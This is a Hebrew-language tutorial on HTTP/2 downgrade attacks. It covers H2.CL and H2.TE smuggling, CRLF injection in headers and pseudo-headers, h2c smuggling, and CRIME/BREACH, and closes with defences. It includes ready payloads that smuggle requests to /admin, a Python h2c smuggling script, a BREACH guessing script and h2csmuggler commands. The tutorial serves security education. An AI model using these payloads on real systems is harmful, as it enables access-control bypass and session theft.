תקיפות HTTP/2 - HTTP/2 Attacks¶
מבוא¶
פרוטוקול HTTP/2 תוכנן לשפר ביצועים ואבטחה ביחס ל-HTTP/1.1. הוא משתמש ב-framing בינארי, multiplexing ודחיסת כותרות. אולם, ברוב הסביבות בפועל, השרת החזיתי מקבל HTTP/2 מהלקוח אך מתרגם אותו ל-HTTP/1.1 עבור השרת האחורי. תהליך התרגום הזה (downgrading) פותח וקטורי תקיפה ייחודיים.
סקירת פרוטוקול HTTP/2¶
מבנה בינארי - Binary Framing¶
ב-HTTP/1.1, בקשות הן טקסט חופשי המופרד ב-\r\n. ב-HTTP/2, כל בקשה מורכבת מ-frames בינאריים עם שדות אורך מפורשים:
+-----------------------------------------------+
| Length (24) |
+---------------+---------------+---------------+
| Type (8) | Flags (8) |
+-+-------------+---------------+---------------+
|R| Stream Identifier (31) |
+=+=============================================+
| Frame Payload |
+-----------------------------------------------+
כל frame מכיל שדה אורך שמגדיר בדיוק כמה בתים יש בו - אין צורך ב-Content-Length או Transfer-Encoding כדי לקבוע את גבולות הבקשה.
ריבוב - Multiplexing¶
ב-HTTP/2, בקשות מרובות עוברות על אותו חיבור TCP במקביל, כל אחת ב-stream נפרד עם מזהה ייחודי. זה מבטל את בעיית head-of-line blocking של HTTP/1.1.
דחיסת כותרות - HPACK¶
HPACK הוא אלגוריתם דחיסת כותרות ספציפי ל-HTTP/2. הוא משתמש בטבלה סטטית של כותרות נפוצות וטבלה דינמית שמתעדכנת לאורך החיבור:
טבלה סטטית (חלקית):
+-------+------------------+-------------------+
| Index | Header Name | Header Value |
+-------+------------------+-------------------+
| 1 | :authority | |
| 2 | :method | GET |
| 3 | :method | POST |
| 4 | :path | / |
| 7 | :scheme | https |
+-------+------------------+-------------------+
כותרות פסאודו - Pseudo-Headers¶
ב-HTTP/2, שורת הבקשה מפורקת לכותרות פסאודו שמתחילות בנקודתיים:
כותרות אלו מתורגמות בחזרה לשורת בקשה ב-HTTP/1.1:
תרגום HTTP/2 ל-HTTP/1.1 - Downgrading¶
רוב השרתים החזיתיים (CDN, reverse proxy) מבצעים downgrade:
תהליך התרגום:
HTTP/2 בקשה:
:method: POST
:path: /search
:authority: example.com
content-type: application/x-www-form-urlencoded
q=test
מתורגם ל-HTTP/1.1:
POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
q=test
השרת החזיתי מחשב את ה-Content-Length מתוך גודל ה-data frame ב-HTTP/2. כאן נוצרות ההזדמנויות לתקיפה.
תקיפת H2.CL - הברחה דרך Content-Length¶
ב-HTTP/2, אורך הגוף נקבע על ידי ה-framing הבינארי. אם השרת החזיתי מאפשר לנו לשלוח כותרת Content-Length ב-HTTP/2, ומעביר אותה כמות שהיא ל-HTTP/1.1 - יכולה להיווצר הברחה.
דוגמה¶
בקשת HTTP/2:
:method: POST
:path: /
:authority: vulnerable-website.com
content-type: application/x-www-form-urlencoded
content-length: 0
GET /admin HTTP/1.1
Host: vulnerable-website.com
מה קורה:
- השרת החזיתי שולח את הבקשה עם הגוף המלא (כולל
GET /admin...) כי ה-framing הבינארי מגדיר את האורך האמיתי - אבל הוא מעביר גם את
Content-Length: 0 - השרת האחורי קורא
Content-Length: 0, מפרש את הבקשה כ-POST ריק, ואתGET /adminכבקשה חדשה
דוגמה מלאה ב-Burp Suite¶
ב-Burp Repeater, בחרו HTTP/2 ושלחו:
:method: POST
:path: /
:authority: <lab-url>
content-type: application/x-www-form-urlencoded
content-length: 0
GET /admin HTTP/1.1
Host: <lab-url>
Content-Length: 5
x=1
תקיפת H2.TE - הזרקת Transfer-Encoding¶
כותרת Transfer-Encoding אינה תקינה ב-HTTP/2 (אין צורך בה כי ה-framing הבינארי קובע את האורך). אולם, שרתים חזיתיים מסוימים לא מסננים אותה, ומעבירים אותה ל-HTTP/1.1 בתהליך התרגום.
דוגמה¶
בקשת HTTP/2:
:method: POST
:path: /
:authority: vulnerable-website.com
content-type: application/x-www-form-urlencoded
transfer-encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable-website.com
לאחר התרגום, השרת האחורי מקבל HTTP/1.1 עם Transfer-Encoding: chunked, מפרש את 0 כסוף הבקשה, ואת GET /admin כבקשה חדשה.
הזרקת CRLF דרך כותרות HTTP/2¶
זהו וקטור תקיפה ייחודי ל-HTTP/2. מכיוון ש-HTTP/2 הוא פרוטוקול בינארי, ערכי כותרות יכולים להכיל תווים שלא מותרים ב-HTTP/1.1 - כולל \r\n.
הזרקת כותרות¶
:method: GET
:path: /
:authority: vulnerable-website.com
header-x: value\r\nTransfer-Encoding: chunked
לאחר התרגום ל-HTTP/1.1:
ה-\r\n בתוך ערך הכותרת ב-HTTP/2 הופך לשבירת שורה ב-HTTP/1.1, מה שמאפשר הזרקת כותרות שרירותיות.
דוגמה מתקדמת - הברחה מלאה דרך CRLF¶
:method: POST
:path: /
:authority: vulnerable-website.com
foo: bar\r\nTransfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable-website.com
לאחר התרגום:
POST / HTTP/1.1
Host: vulnerable-website.com
Foo: bar
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable-website.com
הזרקה דרך כותרות פסאודו¶
חלק מהשרתים החזיתיים לא מסננים \r\n גם בכותרות פסאודו:
:method: GET
:path: / HTTP/1.1\r\nHost: attacker.com\r\n\r\nGET /admin HTTP/1.1\r\nHost: vulnerable-website.com
:authority: vulnerable-website.com
הברחת h2c - HTTP/2 Cleartext Upgrade¶
פרוטוקול h2c הוא HTTP/2 ללא הצפנה. הוא עובד באמצעות שדרוג מ-HTTP/1.1:
GET / HTTP/1.1
Host: target.com
Upgrade: h2c
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
Connection: Upgrade, HTTP2-Settings
תקיפה¶
אם reverse proxy מעביר את כותרת ה-Upgrade לשרת האחורי ללא בדיקה:
לאחר השדרוג, התוקף מדבר HTTP/2 ישירות עם השרת האחורי דרך ה-proxy, ועוקף את כל בקרות הגישה של ה-proxy:
import h2.connection
import h2.config
import socket
import ssl
def h2c_smuggle(target_host, target_port, path):
"""תקיפת h2c smuggling"""
sock = socket.create_connection((target_host, target_port))
# שליחת בקשת upgrade
upgrade_request = (
f"GET / HTTP/1.1\r\n"
f"Host: {target_host}\r\n"
f"Upgrade: h2c\r\n"
f"HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA\r\n"
f"Connection: Upgrade, HTTP2-Settings\r\n"
f"\r\n"
)
sock.send(upgrade_request.encode())
# קבלת תגובת 101 Switching Protocols
response = sock.recv(4096)
if b"101" not in response:
print("[-] שדרוג h2c נכשל")
return
print("[+] שדרוג h2c הצליח")
# עכשיו מדברים HTTP/2
config = h2.config.H2Configuration(client_side=True)
conn = h2.connection.H2Connection(config=config)
conn.initiate_connection()
sock.send(conn.data_to_send())
# שליחת בקשה ישירות לשרת האחורי
headers = [
(':method', 'GET'),
(':path', path),
(':authority', target_host),
(':scheme', 'http'),
]
conn.send_headers(1, headers, end_stream=True)
sock.send(conn.data_to_send())
# קבלת תגובה
data = sock.recv(65535)
events = conn.receive_data(data)
for event in events:
print(event)
sock.close()
# שימוש - גישה לנתיב חסום
h2c_smuggle("target.com", 80, "/admin")
כלי h2csmuggler¶
# התקנה
git clone https://github.com/BishopFox/h2csmuggler.git
cd h2csmuggler
pip install -r requirements.txt
# שימוש בסיסי
python3 h2csmuggler.py -x https://target.com/ --test
# גישה לנתיב חסום
python3 h2csmuggler.py -x https://target.com/ -X GET https://target.com/admin
פיצול בקשות דרך הזרקת כותרות HTTP/2 - Request Splitting¶
ניתן לנצל הזרקת CRLF בכותרות HTTP/2 כדי לפצל בקשה אחת לשתיים:
:method: GET
:path: /
:authority: vulnerable-website.com
foo: bar\r\n\r\nGET /admin HTTP/1.1\r\nHost: vulnerable-website.com
לאחר התרגום:
GET / HTTP/1.1
Host: vulnerable-website.com
Foo: bar
GET /admin HTTP/1.1
Host: vulnerable-website.com
השרת האחורי רואה שתי בקשות נפרדות.
תקיפות דחיסה - CRIME ו-BREACH¶
תקיפת CRIME¶
תקיפת CRIME מנצלת את דחיסת הכותרות ב-TLS/SPDY. היא עובדת כך:
- התוקף שולט בחלק מהנתונים שנשלחים (למשל, JavaScript בדפדפן)
- הוא מזריק ניחושים לערך של עוגייה
- אם הניחוש מופיע גם בכותרת האמיתית, הדחיסה תהיה יעילה יותר - והתגובה קטנה יותר
- על ידי מדידת גודל התגובה, התוקף יכול לנחש תו אחרי תו
ניחוש: Cookie: session=a -> גודל דחוס: 120
ניחוש: Cookie: session=b -> גודל דחוס: 120
ניחוש: Cookie: session=x -> גודל דחוס: 118 <-- התאמה!
ב-HTTP/2, דחיסת HPACK מחליפה את הדחיסה ברמת TLS ומקשה על התקיפה, אבל לא בהכרח מונעת אותה.
תקיפת BREACH¶
תקיפת BREACH דומה ל-CRIME אך פועלת על גוף התגובה (HTTP compression) ולא על הכותרות:
import requests
def breach_attack(target_url, known_prefix, charset):
"""
הדגמה פשוטה של עקרון BREACH
בפועל התקיפה דורשת MitM ו-JavaScript בדפדפן הקורבן
"""
results = {}
for char in charset:
guess = known_prefix + char
# שליחת בקשה שגורמת לגוף התגובה לכלול את הניחוש
resp = requests.get(
target_url,
params={"search": guess}
)
results[char] = len(resp.content)
print(f" '{char}' -> {len(resp.content)} bytes")
# התו שגורם לגודל הקטן ביותר הוא כנראה נכון
best = min(results, key=results.get)
print(f"[+] תו הבא כנראה: '{best}'")
return best
מניפולציית כותרות פסאודו¶
ב-HTTP/2, כותרות פסאודו מועברות כ-headers רגילים עם הגנות מינימליות:
שם מתודה עם רווחים¶
:method: GET /admin HTTP/1.1\r\nHost: evil.com\r\n\r\nGET
:path: /ignored
:authority: vulnerable-website.com
נתיב מלא עם query string¶
סכמה מזויפת¶
הגדרת Burp Suite לבדיקת HTTP/2¶
הגדרות בסיסיות¶
1. פתחו Settings -> Network -> HTTP
2. ודאו ש-HTTP/2 מופעל (ברירת מחדל מ-Burp 2023+)
3. ב-Repeater, בחרו HTTP/2 בתפריט הפרוטוקול
4. השתמשו בתצוגת Inspector לעריכת כותרות פסאודו
שליחת CRLF בכותרות¶
1. ב-Repeater, עברו לתצוגת Inspector
2. לחצו על כותרת ועירכו את הערך
3. השתמשו ב-\r\n להזרקת שורה חדשה
4. Burp ישלח את הבקשה ב-HTTP/2 עם ה-CRLF בתוך הכותרת
הרחבת HTTP/2 Smuggling¶
1. התקינו את HTTP Request Smuggler מה-BApp Store
2. ההרחבה תומכת בבדיקות H2.CL, H2.TE ו-CRLF injection
3. לחצו ימני -> Extensions -> HTTP Request Smuggler -> Smuggle Probe
טבלת וקטורי תקיפה¶
| וקטור | תנאי מוקדם | השפעה |
|---|---|---|
| H2.CL | שרת חזיתי מעביר Content-Length מ-H2 | הברחת בקשות מלאה |
| H2.TE | שרת חזיתי מעביר Transfer-Encoding מ-H2 | הברחת בקשות מלאה |
| הזרקת CRLF בכותרות | שרת חזיתי לא מסנן \r\n בכותרות H2 | הזרקת כותרות, הברחה |
| הזרקת CRLF בפסאודו | שרת חזיתי לא מסנן \r\n בכותרות פסאודו | פיצול בקשות מלא |
| h2c smuggling | שרת חזיתי מעביר Upgrade: h2c | עקיפת כל בקרות הגישה |
הגנה¶
1. הימנעות מ-downgrading¶
- השתמשו ב-HTTP/2 מקצה לקצה (front-end וגם back-end)
- אם חייבים downgrade, השתמשו בשרת חזיתי שמבצע נרמול קפדני
2. אימות Content-Length¶
- בעת תרגום מ-HTTP/2 ל-HTTP/1.1, התעלמו מ-Content-Length שסופק
והשתמשו בגודל ה-data frame בלבד
- דחו בקשות HTTP/2 שמכילות Transfer-Encoding
3. סינון CRLF בכותרות¶
- דחו כל כותרת HTTP/2 שמכילה \r\n, \r או \n בשם או בערך
- סננו גם כותרות פסאודו
- רוב השרתים המודרניים כבר עושים זאת, אבל חשוב לוודא
4. חסימת h2c¶
5. עדכון שרתים¶
- עדכנו שרתים חזיתיים (nginx, HAProxy, Cloudflare) לגרסאות אחרונות
- רוב הספקים תיקנו את הבעיות הידועות
- עקבו אחרי CVE-ים חדשים בתחום
סיכום¶
תקיפות HTTP/2 מנצלות את תהליך התרגום מ-HTTP/2 ל-HTTP/1.1. הפרוטוקול הבינארי של HTTP/2 מאפשר שליחת נתונים שאינם תקינים ב-HTTP/1.1, וכשהם מתורגמים - נוצרות חולשות. נקודות מפתח:
- תקיפות H2.CL ו-H2.TE דומות להברחה קלאסית אך מנצלות את ההבדלים בין HTTP/2 ל-HTTP/1.1
- הזרקת CRLF בכותרות HTTP/2 היא וקטור ייחודי שלא קיים ב-HTTP/1.1 רגיל
- תקיפת h2c smuggling עוקפת לחלוטין את בקרות הגישה של ה-reverse proxy
- ההגנה הטובה ביותר היא HTTP/2 מקצה לקצה ללא downgrade